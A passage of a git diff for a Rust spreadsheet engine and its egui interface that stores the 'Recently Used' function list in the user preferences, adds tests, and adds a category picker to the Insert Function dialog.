&& input.chars().nth(1).is_some_and(|c| c.is_ascii_alphabetic() || c == '(')); - if is_formula { + if is_formula_input(input) { let body = input.strip_prefix('=').unwrap_or(input); let expr = wb.name_call_case(parse_typed_formula(body)?); check_arg_counts(&expr)?; diff --git a/crates/engine/src/cmd/extra.rs b/crates/engine/src/cmd/extra.rs index c9a1582a2..53c880a7c 100644 --- a/crates/engine/src/cmd/extra.rs +++ b/crates/engine/src/cmd/extra.rs @@ -310,7 +310,7 @@ pub fn specs() -> Vec { new_cell_style ), cmd!(query "home.addIns", "Add-ins", ["Home", "Add-ins"], None, "{} → GridCraft extends through MCP and scripts instead of add-ins", always, |_, _| Ok(json!({"addIns": [], "hint": "Use gridcraft-cli mcp or Automate › scripts"}))), - cmd!(query "formulas.recentlyUsed", "Recently Used", ["Formulas", "Function Library"], None, "{} → recently used functions in this workbook", has_doc, recently_used), + cmd!(query "formulas.recentlyUsed", "Recently Used", ["Formulas", "Function Library"], None, "{} → the functions most recently entered in formulas, newest first", has_doc, recently_used), cmd!(query "formulas.financial", "Financial", ["Formulas", "Function Library"], None, "{}", always, |s, _| s.execute("formulas.functions", json!({"category": "Financial"}))), cmd!(query "formulas.logical", "Logical", ["Formulas", "Function Library"], None, "{}", always, |s, _| s.execute("formulas.functions", json!({"category": "Logical"}))), cmd!(query "formulas.text", "Text", ["Formulas", "Function Library"], None, "{}", always, |s, _| s.execute("formulas.functions", json!({"category": "Text"}))), diff --git a/crates/engine/src/cmd/extra/cells.rs b/crates/engine/src/cmd/extra/cells.rs index ff0d5b65b..795d7f011 100644 --- a/crates/engine/src/cmd/extra/cells.rs +++ b/crates/engine/src/cmd/extra/cells.rs @@ -122,25 +122,10 @@ pub(super) fn new_cell_style(s: &mut Session, p: &Json) -> Result { }) } +/// Formulas › Recently Used: the functions most recently entered in a formula, newest first +/// ([`crate::Prefs::recent_functions`]). pub(super) fn recently_used(s: &mut Session, _: &Json) -> Result { - let mut seen: Vec = Vec::new(); - for (id, p) in s.journal.iter().rev() { - if id != "cell.set" { - continue; - } - let input = p.get("input").and_then(Json::as_str).unwrap_or(""); - if let Ok(e) = gridcraft_formula::parse(input.trim_start_matches('=')) { - for f in e.functions() { - if !seen.iter().any(|x| x == f) { - seen.push(f.to_string()); - } - } - } - if seen.len() >= 10 { - break; - } - } - Ok(json!(seen)) + Ok(json!(s.prefs.recent_functions)) } pub(super) fn use_in_formula(s: &mut Session, p: &Json) -> Result { diff --git a/crates/engine/src/lib.rs b/crates/engine/src/lib.rs index 3ae4ac95a..67f8efe08 100644 --- a/crates/engine/src/lib.rs +++ b/crates/engine/src/lib.rs @@ -20,6 +20,7 @@ pub mod outline; pub mod paper; pub mod pivot; pub mod pivot_calc; +pub mod recent; pub mod record; pub mod sample; pub mod selection; @@ -390,6 +391,10 @@ pub struct Prefs { pub formula_bar: bool, /// The statistics the status bar shows for a selection (right-click the status bar). pub status_bar: StatusBarStats, + /// Formulas › Recently Used: the functions most recently entered in a formula, newest first + /// (at most [`recent::MAX`]; see [`recent`]). An application list, as in Excel. + #[serde(deserialize_with = "recent::lenient")] + pub recent_functions: Vec, } /// The selection statistics shown on the status bar, set with `view.statusBar`. Excel turns on @@ -424,6 +429,7 @@ impl Default for Prefs { user_dictionary: vec![], formula_bar: true, status_bar: StatusBarStats::default(), + recent_functions: recent::defaults(), } } } @@ -790,6 +796,7 @@ impl Session { } if self.journal_paused == 0 { self.push_journal(id, cmd::journal_params(¶ms)); + recent::note(&mut self.prefs.recent_functions, id, ¶ms); } } // Inside an undo group the group owns the step. A command that ended a group open before diff --git a/crates/engine/src/recent.rs b/crates/engine/src/recent.rs new file mode 100644 index 000000000..0a1bba2dc --- /dev/null +++ b/crates/engine/src/recent.rs @@ -0,0 +1,205 @@ +//! Formulas › Recently Used: the functions most recently entered in a formula. +//! +//! The list is [`crate::Prefs::recent_functions`], an application list like Excel's, saved with +//! the other preferences. [`crate::Session::execute`] calls [`note`] for each `cell.*` and +//! `range.*` command it journals, from any source (the interface, the control channel, MCP or a +//! script), so the list never depends on the journal, which drops its oldest entries. + +use std::collections::HashSet; +use std::sync::OnceLock; + +use crate::cmd::edit::is_formula_input; +use gridcraft_formula::lexer::{Tok, tokenize}; +use gridcraft_formula::normalize_function_name; +use serde::Deserialize; +use serde_json::Value as Json; + +/// How many functions the list keeps. +pub const MAX: usize = 10; +/// The longest formula read (Excel's formula length limit): a longer one was not typed. +const FORMULA_MAX: usize = 8_192; +/// The most formulas read from one command: a large paste needs only its last few. +const SCAN_BUDGET: usize = 2_000; + +/// What the list holds before any function has been used. +pub fn defaults() -> Vec { + ["SUM", "AVERAGE", "IF", "COUNT", "MAX", "MIN", "SUMIF", "XLOOKUP", "PMT", "TODAY"].map(String::from).to_vec() +} + +/// Whether `name` (upper case, without `_xlfn.`) is a function of the catalog. +fn known(name: &str) -> bool { + static NAMES: OnceLock> = OnceLock::new(); + NAMES + .get_or_init(|| crate::cmd::formulas::function_list().iter().filter_map(|f| f["name"].as_str().map(str::to_ascii_uppercase)).collect()) + .contains(name) +} + +/// The functions a formula calls, outermost first, known functions only. A formula is what a +/// cell takes as one (`=…`, or `+…`/`-…` as Excel takes `+SUM(1)`). +pub fn functions_in_formula(text: &str) -> Vec { + if !is_formula_input(text) { + return vec![]; + } + let body = text.strip_prefix('=').unwrap_or(text); + if body.len() > FORMULA_MAX { + return vec![]; + } + let mut out: Vec = Vec::new(); + for t in tokenize(body).unwrap_or_default() { + if let Tok::Func(name) = t.tok { + let name = normalize_function_name(&name); + if known(&name) && !out.contains(&name) { + out.push(name); + } + } + } + out +} + +/// The formula texts a command's params enter, the last first, at most `budget` of them. +fn formulas_newest_first<'a>(id: &str, params: &'a Json, budget: usize) -> Vec<&'a str> { + fn walk<'a>(v: &'a Json, out: &mut Vec<&'a str>, depth: usize, budget: usize) { + match v { + Json::String(s) if is_formula_input(s) && out.len() < budget => out.push(s), + // A range's values are rows of cells; anything deeper is not a cell value. + Json::Array(a) if depth < 2 => { + for x in a.iter().rev() { + if out.len() >= budget { + return; + } + walk(x, out, depth + 1, budget); + } + } + _ => {} + } + } + let mut out = Vec::new(); + if id.starts_with("cell.") || id.starts_with("range.") { + for key in ["formula", "values", "value", "input"] { + if let Some(v) = params.get(key) { + walk(v, &mut out, 0, budget); + } + } + } + out +} + +/// Moves `names` (most recent first) to the front of `recent`, keeping at most [`MAX`]. +pub fn push(recent: &mut Vec, names: &[String]) { + let mut next: Vec = Vec::with_capacity(MAX); + for n in names.iter().chain(recent.iter()) { + if next.len() == MAX { + break; + } + if !next.contains(n) { + next.push(n.clone()); + } + } + *recent = next; +} + +/// Moves the functions that the formulas a command entered call to the front of `recent`. The +/// last formulas are read first (they are the most recent), within [`SCAN_BUDGET`]. +pub(crate) fn note(recent: &mut Vec, id: &str, params: &Json) { + let mut names: Vec = Vec::new(); + for f in formulas_newest_first(id, params, SCAN_BUDGET) { + for n in functions_in_formula(f) { + if !names.contains(&n) { + names.push(n); + } + } + if names.len() >= MAX { + break; + } + } + if !names.is_empty() { + push(recent, &names); + } +} + +/// Reads a saved list leniently: known function names only, at most [`MAX`]. A value that is not +/// a list gives the default list, so a hand-edited or hostile `prefs.json` loses this list, never +/// the other preferences. +pub(crate) fn lenient<'de, D: serde::Deserializer<'de>>(d: D) -> Result, D::Error> { + let raw = Json::deserialize(d)?; + let Some(list) = raw.as_array() else { return Ok(defaults()) }; + let mut out = Vec::new(); + for name in list.iter().filter_map(Json::as_str) { + if out.len() == MAX { + break; + } + let name = name.to_ascii_uppercase(); + if known(&name) && !out.contains(&name) { + out.push(name); + } + } + Ok(out) +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + #[test] + fn formulas_name_their_functions_outermost_first() { + assert_eq!(functions_in_formula("=IF(SUM(A1:A3)>2,_xlfn.XLOOKUP(1,B:B,C:C),sum(1))"), ["IF", "SUM", "XLOOKUP"]); + assert!(functions_in_formula("=MYLAMBDA(1)+A1").is_empty(), "only known functions"); + assert!(functions_in_formula("SUM(1)").is_empty(), "not a formula"); + assert!(functions_in_formula("=\"SUM(\"").is_empty(), "inside a string"); + assert!(functions_in_formula(&format!("=SUM({})", "1+".repeat(9000))).is_empty(), "too long"); + assert!(functions_in_formula("=((((").is_empty()); + assert!(functions_in_formula("=").is_empty()); + // A formula may be typed with + or - instead of =, as input_to_cell takes it. + assert_eq!(functions_in_formula("+SUM(1)"), ["SUM"]); + assert_eq!(functions_in_formula("-ABS(A1)"), ["ABS"]); + assert!(functions_in_formula("-5").is_empty() && functions_in_formula("+1e3").is_empty(), "numbers"); + assert!(functions_in_formula("+").is_empty() && functions_in_formula("- SUM(1)").is_empty(), "not formulas"); + } + + #[test] + fn commands_give_their_formulas_newest_first() { + let read = |id: &str, params: Json| formulas_newest_first(id, ¶ms, SCAN_BUDGET).into_iter().map(String::from).collect::>(); + assert_eq!(read("range.setValues", json!({"values": [["=SUM(1)", 2], ["x", "=PMT(1,2,3)"]]})), ["=PMT(1,2,3)", "=SUM(1)"]); + assert_eq!(read("cell.set", json!({"input": "=NPV(1,2)"})), ["=NPV(1,2)"]); + assert_eq!(read("range.setValues", json!({"values": [["+SUM(1)", "-5", "-ABS(2)"]]})), ["-ABS(2)", "+SUM(1)"]); + assert!(read("home.bold", json!({"input": "=IRR(1)"})).is_empty(), "only cell.* and range.* enter formulas"); + assert!(read("range.setValues", json!({"values": [[["=FV(1,2,3)"]]]})).is_empty(), "deeper than rows of cells"); + // A large paste is read from its end, within the budget. + let rows: Vec = (0..5_000).map(|i| json!([format!("=ABS({i})")])).collect(); + let paste = json!({ "values": rows }); + let last = formulas_newest_first("range.setValues", &paste, 3); + assert_eq!(last, ["=ABS(4999)", "=ABS(4998)", "=ABS(4997)"]); + } + + #[test] + fn recent_keeps_ten_distinct_newest_first() { + let mut r = defaults(); + assert!(r.iter().all(|n| known(n)), "the default list names known functions"); + push(&mut r, &["PMT".into(), "NPV".into()]); + assert_eq!(r.len(), MAX); + assert_eq!(&r[..3], ["PMT", "NPV", "SUM"]); + assert_eq!(r.iter().filter(|n| *n == "PMT").count(), 1); + let many: Vec = + ["ABS", "ACOS", "AND", "CHOOSE", "DATE", "EXP", "FIND", "INDEX", "LEFT", "LN", "MOD", "NOW"].map(String::from).to_vec(); + push(&mut r, &many); + assert_eq!(r, many[..MAX]); + } + + #[test] + fn a_saved_list_is_read_leniently() { + let prefs = |v: Json| serde_json::from_value::(v).unwrap(); + assert_eq!(prefs(json!({"r1c1": true})).recent_functions, defaults(), "a prefs.json from before the list gets the default"); + // A hostile value loses only itself, never the other preferences. + let bad = prefs(json!({"r1c1": true, "recentFunctions": 5})); + assert!(bad.r1c1); + assert_eq!(bad.recent_functions, defaults()); + let mut odd: Vec = ["npv", "NOT_A_FUNCTION", "SUM", "NPV"].iter().map(|n| json!(n)).chain([json!(3), json!(null)]).collect(); + odd.extend(crate::cmd::formulas::function_list().into_iter().take(40).map(|f| f["name"].clone())); + let odd = prefs(json!({ "recentFunctions": odd })); + assert_eq!(&odd.recent_functions[..2], ["NPV", "SUM"]); + assert_eq!(odd.recent_functions.len(), MAX); + let back = prefs(serde_json::to_value(&odd).unwrap()); + assert_eq!(back.recent_functions, odd.recent_functions, "the list survives a save and reload"); + } +} diff --git a/crates/engine/tests/it/main.rs b/crates/engine/tests/it/main.rs index 20898e152..99ebd42b1 100644 --- a/crates/engine/tests/it/main.rs +++ b/crates/engine/tests/it/main.rs @@ -22,6 +22,7 @@ mod percent_entry; mod pivot_unknown_func; mod pivotchart_link; mod range_fill_formats; +mod recently_used; mod row_autofit; mod sheet_copy_spill; mod sheet_name_quoting; diff --git a/crates/engine/tests/it/recently_used.rs b/crates/engine/tests/it/recently_used.rs new file mode 100644 index 000000000..f40e3c1b0 --- /dev/null +++ b/crates/engine/tests/it/recently_used.rs @@ -0,0 +1,58 @@ +//! Formulas › Recently Used: the functions most recently entered in a formula, from any command +//! that enters one, kept in the preferences rather than read back from the journal. + +use gridcraft_engine::Session; +use serde_json::{Value as Json, json}; + +fn recent(s: &mut Session) -> Vec { + let list = s.execute("formulas.recentlyUsed", json!({})).unwrap(); + list.as_array().unwrap().iter().filter_map(Json::as_str).map(String::from).collect() +} + +#[test] +fn formulas_entered_by_any_command_lead_the_list() { + let mut s = Session::new(); + s.new_workbook(); + s.execute("cell.set", json!({"cell": "A1", "input": "=NPV(0.1,1,2)"})).unwrap(); + s.execute("cell.set", json!({"cell": "A2", "input": "=IRR({-10,6,6})+ROUND(1,0)"})).unwrap(); + s.execute("range.setValues", json!({"range": "B1", "values": [["=FV(0.1,2,-1)", 4, "text"]]})).unwrap(); + s.execute("cell.set", json!({"cell": "A3", "input": "PMT is just text"})).unwrap(); + assert_eq!(&recent(&mut s)[..4], ["FV", "IRR", "ROUND", "NPV"]); + // A command that fails enters nothing. + assert!(s.execute("cell.set", json!({"cell": "not a cell", "input": "=DB(1,2,3,4)"})).is_err()); + assert_ne!(recent(&mut s)[0], "DB"); +} + +#[test] +fn formulas_typed_with_a_plus_or_minus_count() { + let mut s = Session::new(); + s.new_workbook(); + s.execute("cell.set", json!({"cell": "A1", "input": "+ROUND(1.5,0)"})).unwrap(); + s.execute("cell.set", json!({"cell": "A2", "input": "-SLN(100,10,5)"})).unwrap(); + s.execute("cell.set", json!({"cell": "A3", "input": "-5"})).unwrap(); + assert_eq!(&recent(&mut s)[..2], ["SLN", "ROUND"]); +} + +#[test] +fn the_list_does_not_depend_on_the_journal() { + // The journal drops its oldest entries past its caps (and is public); the list stays. + let mut s = Session::new(); + s.new_workbook(); + s.execute("cell.set", json!({"cell": "A1", "input": "=NPV(0.1,1,2)"})).unwrap(); + s.journal.clear(); + assert_eq!(recent(&mut s)[0], "NPV"); + s.execute("cell.set", json!({"cell": "A2", "input": "=SLN(100,10,5)"})).unwrap(); + assert_eq!(&recent(&mut s)[..2], ["SLN", "NPV"]); +} + +#[test] +fn the_list_is_kept_with_the_preferences() { + let mut s = Session::new(); + s.new_workbook(); + s.execute("cell.set", json!({"cell": "A1", "input": "=SYD(100,10,5,1)"})).unwrap(); + let saved = serde_json::to_value(&s.prefs).unwrap(); + let mut next = Session::new(); + next.new_workbook(); + next.prefs = serde_json::from_value(saved).unwrap(); + assert_eq!(recent(&mut next)[0], "SYD"); +} diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index df166e229..6eccc48eb 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -856,7 +856,7 @@ impl Dialog { "insertFunction" => { // A Function Library menu opens it on its own category. let category = p("category").as_str().unwrap_or(crate::function_library::MOST_RECENTLY_USED).to_string(); - Dialog::custom("insertFunction", "Formula Builder", json!({"category": category})) + Dialog::custom("insertFunction", "Insert Function", json!({"category": category})) } "find" => { let mut d = Dialog::custom("find", "Find and Replace", json!({"what": "", "with": "", "within": "sheet", "lookIn": "formulas"})); diff --git a/crates/ui-egui/src/dialogs/insert_function.rs b/crates/ui-egui/src/dialogs/insert_function.rs index 2f922d644..a77de272b 100644 --- a/crates/ui-egui/src/dialogs/insert_function.rs +++ b/crates/ui-egui/src/dialogs/insert_function.rs @@ -1,33 +1,87 @@ use super::show::ok_cancel; -use super::{Dialog, Json, SheetApp, vec2}; +use super::{Dialog, Json, SheetApp, json, vec2}; -/// Insert Function: searches names (as the formula language spells them) and descriptions, shows -/// each hit's category and description, and starts editing `=NAME(` (or appends to the formula). +/// Insert Function: search names (as the formula language spells them) and descriptions, or pick +/// a category (Most Recently Used, All or one category), then a function; each hit shows its +/// category and description. OK starts editing `=NAME(` (or appends to the formula). pub(super) fn insert_function(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool) { + use crate::function_library::{self as lib, ALL, MOST_RECENTLY_USED}; let language = app.ui.language; ui.horizontal(|ui| { ui.label(language.tr("Search:")); let r = ui.add(egui::TextEdit::singleline(&mut d.search).desired_width(300.0).hint_text(language.tr("e.g. lookup, average, date"))); r.request_focus(); }); + // A new search (typed, or set through the control channel) looks through every function, as + // Excel's does. + if d.values.get("searched").and_then(Json::as_str) != Some(d.search.as_str()) { + d.list_index = 0; + if !d.search.trim().is_empty() { + d.values.insert("category".into(), json!(ALL)); + } + d.values.insert("searched".into(), json!(d.search)); + } + // The category may be given by label or by engine id (a Function Library menu, `ui.dialog.set`). + let saved = d.values.get("category").and_then(Json::as_str).unwrap_or(MOST_RECENTLY_USED).to_string(); + let mut category = if saved.eq_ignore_ascii_case(ALL) { + ALL.to_string() + } else { + lib::category_id(&saved).map(lib::category_label).unwrap_or(MOST_RECENTLY_USED).to_string() + }; + ui.horizontal(|ui| { + let label = ui.label(language.tr("Or select a category:")); + craft_ui::ComboBox::from_id_salt("insertFunctionCategory") + .width(220.0) + .selected_text(language.tr(&category)) + .show_ui(ui, |ui| { + for c in [MOST_RECENTLY_USED, ALL].into_iter().chain(lib::CATEGORIES.iter().map(|(_, l)| *l)) { + ui.selectable_value(&mut category, c.to_string(), language.tr(c)); + } + }) + .response + .labelled_by(label.id); + }); + if category != saved { + d.list_index = 0; + } + d.values.insert("category".into(), json!(category)); let locale = language.formula_locale(); - let list = gridcraft_engine::cmd::formulas::function_list(); // The names and descriptions searched are the ones shown, so in the interface language. - let q = d.search.to_lowercase(); - let hits: Vec<&Json> = list - .iter() - .filter(|f| { - q.is_empty() - || f["name"].as_str().is_some_and(|n| locale.function_name(n).to_lowercase().contains(&q)) - || f["description"].as_str().is_some_and(|n| language.function_description(n).unwrap_or(n).to_lowercase().contains(&q)) - }) - .take(300) - .collect(); - egui::ScrollArea::vertical().max_height(260.0).show(ui, |ui| { - for (i, f) in hits.iter().enumerate() { - let name = locale.function_name(f["name"].as_str().unwrap_or("")); - let category = language.tr(crate::function_library::category_label(f["category"].as_str().unwrap_or(""))); - let r = ui.add(egui::Button::selectable(i == d.list_index, format!("{name:<18} {category}")).min_size(vec2(480.0, 20.0))); + let q = d.search.trim().to_lowercase(); + let matches = |f: &lib::FnEntry| { + q.is_empty() + || locale.function_name(&f.name).to_lowercase().contains(&q) + || language.function_description(&f.description).unwrap_or(&f.description).to_lowercase().contains(&q) + }; + let hits: Vec<&lib::FnEntry> = if category == MOST_RECENTLY_USED { + lib::recent(app).iter().filter_map(|n| lib::find(n)).filter(|f| matches(f)).collect() + } else { + let id = lib::category_id(&category); + // The catalog is fixed (some 500 functions), so All lists every one. + lib::all().iter().filter(|f| id.is_none_or(|id| f.category == id) && matches(f)).collect() + }; + let t = crate::theme::Tokens::get(ui.ctx()); + let font = egui::TextStyle::Body.resolve(ui.style()); + let rows: Vec<(&str, &str)> = hits.iter().map(|f| (locale.function_name(&f.name), language.tr(lib::category_label(&f.category)))).collect(); + // The category column starts after the widest name shown, so a long name in any formula + // language or font never runs into it. + let name_w = rows.iter().map(|(n, _)| ui.painter().layout_no_wrap(n.to_string(), font.clone(), t.text).size().x).fold(0.0_f32, f32::max); + egui::ScrollArea::vertical().max_height(260.0).auto_shrink([false, false]).show(ui, |ui| { + if rows.is_empty() { + ui.label(egui::RichText::new(language.tr("No functions match.")).italics()); + } + let row_h = ui.text_style_height(&egui::TextStyle::Body) + 4.0; + for (i, (name, category)) in rows.iter().enumerate() { + let (rect, r) = ui.allocate_exact_size(vec2(ui.available_width().max(name_w + 120.0), row_h), egui::Sense::click()); + if i == d.list_index { + ui.painter().rect_filled(rect, 3.0, ui.visuals().selection.bg_fill); + } else if r.hovered() { + ui.painter().rect_filled(rect, 3.0, t.hover); + } + let color = if i == d.list_index { ui.visuals().selection.stroke.color } else { t.text }; + ui.painter().text(rect.left_center() + vec2(6.0, 0.0), egui::Align2::LEFT_CENTER, *name, font.clone(), color); + ui.painter().text(rect.left_center() + vec2(6.0 + name_w + 16.0, 0.0), egui::Align2::LEFT_CENTER, *category, font.clone(), t.text_dim); + r.widget_info(|| egui::WidgetInfo::selected(egui::Role::Button, true, i == d.list_index, format!("{name} ({category})"))); if r.clicked() { d.list_index = i; } @@ -38,15 +92,19 @@ pub(super) fn insert_function(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dia } }); if let Some(f) = hits.get(d.list_index) { - let name = f["name"].as_str().unwrap_or(""); ui.separator(); - ui.label(egui::RichText::new(crate::formula_locale::signature(name, locale, language).unwrap_or_default()).strong()); - ui.label(crate::formula_locale::description(name, locale, language).unwrap_or_default()); + ui.label(egui::RichText::new(crate::formula_locale::signature(&f.name, locale, language).unwrap_or_default()).strong()); + ui.label(crate::formula_locale::description(&f.name, locale, language).unwrap_or_default()); } let mut open = true; ok_cancel(ui, confirm, &mut open); - if *confirm && let Some(n) = hits.get(d.list_index).and_then(|f| f["name"].as_str()) { - let n = app.session.active().map(|doc| crate::formula_locale::completion_name(n, locale, &doc.wb, doc.wb.active_sheet())).unwrap_or(n); + // The function counts as recently used once the formula is entered (the engine notes it). + if *confirm && let Some(f) = hits.get(d.list_index) { + let n = app + .session + .active() + .map(|doc| crate::formula_locale::completion_name(&f.name, locale, &doc.wb, doc.wb.active_sheet())) + .unwrap_or(&f.name); let cur = app.editor.as_ref().map(|e| e.text.clone()); let text = match cur { Some(t) if t.starts_with('=') => format!("{t}{n}("), diff --git a/crates/ui-egui/src/i18n/el.rs b/crates/ui-egui/src/i18n/el.rs index 165d94cd8..cbc043ece 100644 --- a/crates/ui-egui/src/i18n/el.rs +++ b/crates/ui-egui/src/i18n/el.rs @@ -577,7 +577,6 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Edit Name" => "Επεξεργασία ονόματος", "New Name" => "Νέο όνομα", "Format Cells" => "Μορφοποίηση κελιών", - "Formula Builder" => "Δημιουργός τύπων", "Find and Replace" => "Εύρεση και αντικατάσταση", "Go To" => "Μετάβαση", "Insert Calculated Field" => "Εισαγωγή υπολογιζόμενου πεδίου", diff --git a/crates/ui-egui/src/i18n/it.rs b/crates/ui-egui/src/i18n/it.rs index 51d1db6c7..599b9c2a5 100644 --- a/crates/ui-egui/src/i18n/it.rs +++ b/crates/ui-egui/src/i18n/it.rs @@ -453,7 +453,6 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Edit Name" => "Modifica nome", "New Name" => "Nuovo nome", "Format Cells" => "Formato celle", - "Formula Builder" => "Generatore di formule", "Find and Replace" => "Trova e sostituisci", "Go To" => "Vai a", "Insert Calculated Field" => "Inserisci campo calcolato", diff --git a/crates/ui-egui/src/i18n/ja.rs b/crates/ui-egui/src/i18n/ja.rs index b7cb6c95b..65015dfe0 100644 --- a/crates/ui-egui/src/i18n/ja.rs +++ b/crates/ui-egui/src/i18n/ja.rs @@ -475,7 +475,6 @@ pub(super) const DIALOGS: &[(&str, &str)] = &[ ("Edit Name", "名前の編集"), ("New Name", "新しい名前"), ("Format Cells", "セルの書式設定"), - ("Formula Builder", "数式ビルダー"), ("Find and Replace", "検索と置換"), ("Go To", "ジャンプ"), ("Insert Calculated Field", "計算のフィールドの挿入"), diff --git a/crates/ui-egui/src/i18n/pl.rs b/crates/ui-egui/src/i18n/pl.rs index 3b58b0d20..ae4639760 100644 --- a/crates/ui-egui/src/i18n/pl.rs +++ b/crates/ui-egui/src/i18n/pl.rs @@ -447,7 +447,6 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Edit Name" => "Edytowanie nazwy", "New Name" => "Nowa nazwa", "Format Cells" => "Formatowanie komórek", - "Formula Builder" => "Konstruktor formuł", "Find and Replace" => "Znajdowanie i zamienianie", "Go To" => "Przechodzenie do", "Insert Calculated Field" => "Wstawianie pola obliczeniowego", diff --git a/crates/ui-egui/src/i18n/pt.rs b/crates/ui-egui/src/i18n/pt.rs index 0107235cf..32b38a953 100644 --- a/crates/ui-egui/src/i18n/pt.rs +++ b/crates/ui-egui/src/i18n/pt.rs @@ -469,7 +469,6 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Edit Name" => "Editar Nome", "New Name" => "Novo Nome", "Format Cells" => "Formatar Células", - "Formula Builder" => "Construtor de Fórmulas", "Find and Replace" => "Localizar e Substituir", "Go To" => "Ir para", "Insert Calculated Field" => "Inserir Campo Calculado", diff --git a/crates/ui-egui/src/i18n/ro.rs b/crates/ui-egui/src/i18n/ro.rs index ade378b9d..f92555df2 100644 --- a/crates/ui-egui/src/i18n/ro.rs +++ b/crates/ui-egui/src/i18n/ro.rs @@ -453,7 +453,6 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Edit Name" => "Editare nume", "New Name" => "Nume nou", "Format Cells" => "Formatare celule", - "Formula Builder" => "Generator de formule", "Find and Replace" => "Găsire și înlocuire", "Go To" => "Salt la", "Insert Calculated Field" => "Inserare câmp calculat", diff --git a/crates/ui-egui/src/i18n/uk.rs b/crates/ui-egui/src/i18n/uk.rs index a17d4da56..699a22288 100644 --- a/crates/ui-egui/src/i18n/uk.rs +++ b/crates/ui-egui/src/i18n/uk.rs @@ -451,7 +451,6 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Edit Name" => "Edit Name", "New Name" => "New Name", "Format Cells" => "Format Cells", - "Formula Builder" => "Formula Builder", "Find and Replace" => "Find and Replace", "Go To" => "Go To", "Insert Calculated Field" => "Insert Calculated Field", diff --git a/crates/ui-egui/tests/it/function_library.rs b/crates/ui-egui/tests/it/function_library.rs index 917f36642..3d8a37d5e 100644 --- a/crates/ui-egui/tests/it/function_library.rs +++ b/crates/ui-egui/tests/it/function_library.rs @@ -1,5 +1,6 @@ //! Formulas › Function Library: the labelled buttons, their category menus, the More Functions -//! cascade, the AutoSum big split button and the Recently Used keytip. +//! cascade, the AutoSum big split button, the Recently Used keytip and list, and the Insert Function +//! dialog's categories. use egui::os::OperatingSystem; use egui::{Event, Key, Modifiers, vec2}; @@ -169,3 +170,104 @@ fn the_recently_used_keytip_opens_its_menu() { pick(&mut h, "AVERAGE"); assert_eq!(editor_text(&h).as_deref(), Some("=AVERAGE(")); } + +#[test] +fn recently_used_lists_the_engines_list_newest_first() { + let mut h = formulas_tab(1440.0); + // The ribbon and the control channel go through app.run; MCP and scripts through the session. + // The engine keeps the list (see the engine's recently_used tests); the menu shows it. + h.state_mut().run("cell.set", json!({"cell": "A1", "input": "=NPV(0.1,1,2)"})).unwrap(); + h.state_mut().session.execute("cell.set", json!({"cell": "A2", "input": "=IRR({-10,6,6})+ROUND(1,0)"})).unwrap(); + h.state_mut().session.execute("range.setValues", json!({"range": "B1", "values": [["=FV(0.1,2,-1)", 4, "text"]]})).unwrap(); + h.run_steps(2); + assert_eq!(&h.state().session.prefs.recent_functions[..4], ["FV", "IRR", "ROUND", "NPV"]); + click(&mut h, "Recently Used"); + let top = |h: &Harness, name: &str| h.get_by_label(name).rect().top(); + assert!(top(&h, "FV") < top(&h, "IRR") && top(&h, "IRR") < top(&h, "ROUND") && top(&h, "ROUND") < top(&h, "NPV")); +} + +/// Opens the Insert Function category list (the dialog's only combo box). +fn open_categories(h: &mut Harness) { + h.get_by_role(egui::accesskit::Role::ComboBox).click(); + h.run_steps(3); +} + +/// Picks a category from the open list (the ribbon has buttons with the same names). +fn choose(h: &mut Harness, category: &str) { + h.get_all_by_label(category).last().expect("the category is listed").click(); + h.run_steps(3); +} + +fn row(name: &str, category: &str) -> String { + format!("{name} ({category})") +} + +#[test] +fn insert_function_has_its_title_and_a_working_category_list() { + let mut h = formulas_tab(1440.0); + h.state_mut().run("cell.set", json!({"cell": "A1", "input": "=NPV(0.1,1,2)"})).unwrap(); + h.run_steps(2); + click(&mut h, "Insert Function"); + let d = h.state().dialog.as_ref().expect("Insert Function opens"); + assert_eq!(d.title, "Insert Function"); + // Most Recently Used comes first, newest first. + let npv = h.get_by_label(&row("NPV", "Financial")).rect(); + assert!(npv.top() < h.get_by_label(&row("SUM", "Math & Trig")).rect().top()); + assert!(h.query_by_label(&row("PMT", "Financial")).is_some(), "the default list follows"); + // Pick a category from the list. + open_categories(&mut h); + choose(&mut h, "Date & Time"); + assert!(h.query_by_label(&row("TODAY", "Date & Time")).is_some()); + assert!(h.query_by_label(&row("NPV", "Financial")).is_none()); + // All lists everything; a category given by its engine id works too (control channel). + open_categories(&mut h); + choose(&mut h, "All"); + assert!(h.query_by_label(&row("TODAY", "Date & Time")).is_some() && h.query_by_label(&row("NPV", "Financial")).is_some()); + h.state_mut().dialog.as_mut().unwrap().values.insert("category".into(), json!("MathTrig")); + h.run_steps(2); + assert!(h.query_by_label(&row("ROUND", "Math & Trig")).is_some() && h.query_by_label(&row("TODAY", "Date & Time")).is_none()); + // A search looks through every category. + h.state_mut().dialog.as_mut().unwrap().search = "lookup".into(); + h.run_steps(2); + assert_eq!(h.state().dialog.as_ref().unwrap().values.get("category"), Some(&json!("All"))); + assert!(h.query_by_label(&row("XLOOKUP", "Lookup & Reference")).is_some()); + // OK starts the formula. The function counts as recently used once the formula is entered, + // not before (the edit may still be cancelled, or there may be no cell to edit). + pick(&mut h, &row("XLOOKUP", "Lookup & Reference")); + click(&mut h, " OK "); + assert_eq!(editor_text(&h).as_deref(), Some("=XLOOKUP(")); + assert_ne!(h.state().session.prefs.recent_functions[0], "XLOOKUP"); +} + +/// The text shapes the last frame painted, with their left edge and width. +fn painted_text(h: &Harness) -> Vec<(String, f32, f32)> { + let mut out = Vec::new(); + for clipped in &h.output().shapes { + if let egui::Shape::Text(t) = &clipped.shape { + out.push((t.galley.text().to_string(), t.pos.x, t.galley.size().x)); + } + } + out +} + +#[test] +fn insert_function_keeps_the_category_column_clear_of_long_names() { + let mut h = formulas_tab(1440.0); + // A wide interface font (as on some Windows and Linux desktops, or a long formula language) + // makes every name wider than the dialog was laid out for. + h.ctx.all_styles_mut(|s| { + s.text_styles.insert(egui::TextStyle::Body, 